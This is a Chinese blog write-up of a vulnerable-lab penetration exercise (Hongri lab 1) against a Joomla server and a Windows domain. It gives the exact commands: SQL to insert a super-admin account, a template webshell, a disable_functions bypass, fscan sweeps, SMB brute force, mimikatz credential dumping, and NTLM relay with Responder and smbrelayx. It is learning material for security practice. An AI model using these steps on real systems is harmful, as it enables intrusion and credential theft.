红日安全靶场一学习记录
环境搭建及配置
靶场下载地址:http://39.98.79.56/vuln/detail/5/
靶场拓扑图:
靶机密码:黑盒测试
目标:域控中存在一份重要文件。
下完之后的需要的配置:
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。service network restart
除重新获取ip,不建议进行任何虚拟机操作。
若是Mac的话,重新设置一下网卡2,设置为主机模式即可,否则网络之间ping不通
外网渗透
获取到ip:192.168.197.151
目标开放端口:22 80 3306
目录扫描扫出敏感信息
可以得到phpinfo页面,得知网站的绝对路径是/var/www/html/
得到数据库testuser密码
在暴露出的configuration.php中得到了数据库的密码
testuser/cvcvgjASD!@
于是连接了但是发现只是一个普通的用户,虽然mysql配置文件可以导出到任意目录,并且已知了网站的绝对路径。但任然是无法进行写shell操作。暂且放下。
msf收集版本信息
search joomla
使用扫描版本的exp进行扫描,得到版本号为3.9.12。于是开始疯狂的寻找相关的EXP,这里花费了差不多两个小时在寻找和测试过程中,发现这个RCE都需要管理员用户进行提权成超级管理员用户。然而并没有找到默认的admin管理员用户,于是开始找有无重置密码的漏洞或者是身份绕过的,发现还真有但是没公开poc。。。
CVE-2020-11890<3.9.17远程命令执行漏洞
CVE-2020-10238 <= 3.9.15 远程命令执行漏洞
CVE-2020-10239 3.7.0-3.9.15远程命令执行漏洞
CVE-2021-23132 3.0.0 <= Joomla! <= 3.9.24
![[Pasted image 20220824160958.png]]
![[Pasted image 20220824161144.png]]
峰回路转mysql
找了很久无果后,回到了mysql的testuser用户中,想要看看加盐的密码能不能破解出来,无意中发现了官方的重置密码,可以添加新用户
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
可以添加admin2用户,密码为secret。
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
然后成功登录,便可以用上面的exp打了。剩下的就是传一个马,蚁剑连接然后进行内网渗透。
disable_function绕过
成功获得shell之后,发现执行命令无效。于是使用新建的超级管理员hk/12345678 登录之后在模板文件error.php手动添加一句话木马http://xxx/administrator/index.php?option=com_templates&view=template&id=503&file=L2Vycm9yLnBocA%3D%3D
http://XXX/templates/beez3/error.php
可以成功登录蚁剑,
但是执行命令会显示
经查询是disable_fuctions禁用了一些危险的函数,
exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_sourc
解决办法,使用蚁剑的插件成功绕过
具体的一些原理可看:https://xz.aliyun.com/t/10057
基本思路都是找一些别的命令函数去执行,或者是调用一些底层的库啥的。
内网渗透
centos信息收集
由于msf没上线成功,这里就是用fscan来快速扫描内网资产
这里因为disable_fuctions的原因,貌似出错或者是某些结果无法回显到终端,导致以为一直无法执行。后来把结果都写进一个txt,再查看即可发现扫描结果。
start infoscan
已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.93.10 is alive
(icmp) Target 192.168.93.20 is alive
(icmp) Target 192.168.93.30 is alive
(icmp) Target 192.168.93.100 is alive
(icmp) Target 192.168.93.120 is alive
[*] Icmp alive hosts len is: 5
[+]DC TEST\WIN-8GA56TNV3MV Windows Server 2012 R2 Datacenter 9600
192.168.93.10:88 open
192.168.93.10:135 open
192.168.93.10:139 open
192.168.93.10:445 open
TEST\WIN2008 Windows Server (R) 2008 Datacenter 6003 Service Pack 2
192.168.93.20:80 open
192.168.93.20:135 open
192.168.93.20:139 open
192.168.93.20:445 open
192.168.93.20:1433 open
WIN7 Windows 7 Professional 7601 Service Pack 1
192.168.93.30:139 open
192.168.93.30:135 open
192.168.93.30:445 open
192.168.93.120:80 open
192.168.93.100:80 open
192.168.93.120:22 open
192.168.93.100:22 open
192.168.93.120:3306 open
192.168.93.100:3306 open
192.168.93.120:7000 open
192.168.93.120:7001 open
192.168.93.100:8888 open
[*] alive ports len is: 21
start vulscan
[+] NetInfo:
[*]192.168.93.10
[->]WIN-8GA56TNV3MV
[->]192.168.93.10
[+] NetInfo:
[*]192.168.93.20
[->]win2008
[->]192.168.93.20
[*] WebTitle:http://192.168.93.20 code:404 len:315 title:Not Found
[+] NetInfo:
[*]192.168.93.30
[->]win7
[->]192.168.93.30
[*] 192.168.93.20 TEST\WIN2008 Windows Server (R) 2008 Datacenter 6003 Service Pack 2
[*] 192.168.93.20 (Windows Server (R) 2008 Datacenter 6003 Service Pack 2)
[*] 192.168.93.30 __MSBROWSE__\WIN7 Windows 7 Professional 7601 Service Pack 1
[*] 192.168.93.10 [+]DC TEST\WIN-8GA56TNV3MV Windows Server 2012 R2 Datacenter 9600
[*] 192.168.93.10 (Windows Server 2012 R2 Datacenter 9600)
[*] 192.168.93.30 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle:http://192.168.93.120 code:200 len:16768 title:Home
[*] WebTitle:http://192.168.93.100 code:200 len:16768 title:Home
[+] mysql:192.168.93.120:3306:root 123
[+] mysql:192.168.93.100:3306:root 123
已完成 19/21 [-] ssh 192.168.93.120:22 root 12345678 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 19/21 [-] ssh 192.168.93.120:22 root sysadmin ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 19/21 [-] ssh 192.168.93.100:22 admin admin123!@# ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 19/21 [-] ssh 192.168.93.120:22 admin admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 21/21
[*] 扫描结束,耗时: 3m30.897160515s
发现数据库密码 root/123 并且100段也存在网站
/tmp中关键的敏感文件
随后一直尝试进行msf上线或者frp代理转发渗透到100段,但由于disable-functions的原因,无法执行一些命令,就没啥进展。去看了一下网上的解题思路才发现要到/tmp/mysql目录下有一个新建用户的敏感文件wwwuser/wwwuser_123Aqx
ew代理横向
由于msf的代理不太稳定,因此使用ew./ew_for_linux64 -s ssocksd -l 1080
简单的设置一个151外网机器的代理,进行渗透
解法1 SMB爆破
- 使用msf中的
auxiliary/scanner/smb/smb_login
模块进行爆破
smb爆破出密码192.168.93.20、192.168.93.30的密码administrator/123qwe!ASD - smb登录进win2008或win7,并且定位域控,确定为93.10
- 从win2008的进程中发现域管进程,于是可以使用msf中的kiwi进行密码抓取,成功获得域管密码zxcASDqw123!!
smb登录,最后查找出域控隐藏的flagdir /s /b \\192.168.93.10\c$\flag.txt
更多必备cmd可看 #cmd敏感信息
解法2 NTLM Relay攻击
使用外网信息泄露的mysql密码testuser\cvcvgjASD!@
进行测试发现,也是内网93.20的SQL server的密码。但由于权限不够无法执行xp-cmdshell。但是可以执行xp_dirtree 进行ntlm的中继攻击。
使用msf中的mssql_ntlm——stealer,进行攻击。记得设置smbproxy为Responder监听地址即可
然后使用命令python Responder.py -i 192.168.93.100
即可捕捉到ntlm hash。最后使用john进行爆破密码,这里最好使用python3运行Responder,不然最新版可能有点问题!!!
当字典足够强大的时候,可以爆出密码123qwe!ASD
若是无法爆破密码,则可以使用MultiRelay进行重放net-ntlm hash给win7,若两者密码一样,则可以成功转发取得shell
具体命令,python MultiRelay.py -t 重放的目标 -u ALL
解法3 钓鱼
**原理简述:
该钓鱼方法实则也是ntlm重放攻击的变种,主要原理是构造一个恶意的smb服务器,使域内或者工作组内的机器访问该网址会弹出一个类似UNC认证的东西,然后用户输入密码之后使用impact中的smbrelay.py能够捕获到net-hash,并进行转发到其他机器获得shell
具体操作
- 使用msf生成一个正向马,可以使用smbrelay中的-e参数进行传递上线
- msf监听的时候,记得使用自动迁移,因为smbrelay将木马上线后会立即删除,若是不进行自动迁移,则会导致权限丢失。
命令set autorunscript post/windows/manage/migrate
- 使用
./smbrelayx.py -h 重放目标 -e 木马路径
进行监听 - 取得shell,发现存在域管进程,使用mimikatz得到域控密码。
!!!
在这个实验中尤其需要注意的是,smbrelay默认是用域内用户的身份认证的,而该靶场中win2008没有域用户,因此登录的时候需要用户名需为WIN2008\administrator
成功获得hash和反弹shell
总结
总的来说,这个靶场让我学到了很多东西。
- 在外网中学习到了取得一个数据库后可以干啥,如果管理员密码加密了无法解密,还尝试官方是否存在SQL直接修改密码的操作
- 提权中学习到了,传输脏牛提取文件时最好是本地上传或者是传输压缩包的形式,不然容易出现c源码的丢失导致无法生成提权二进制文件
- 内网横向中学习到了ntlm 重放攻击。特别是内网中存在普通用户的mssql服务时,亦或是可以拿到内网部分执行权限,可执行ping dir 等解析主机的命令都可
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。
解法2哪里,你为什么打的是192.168.197.157:1433,然后msf配置的是192.168.93.20:1433??
这个ntlm stealer 很依赖网络。事后为了快速复现直接使用了双网卡,所以msf配的是那个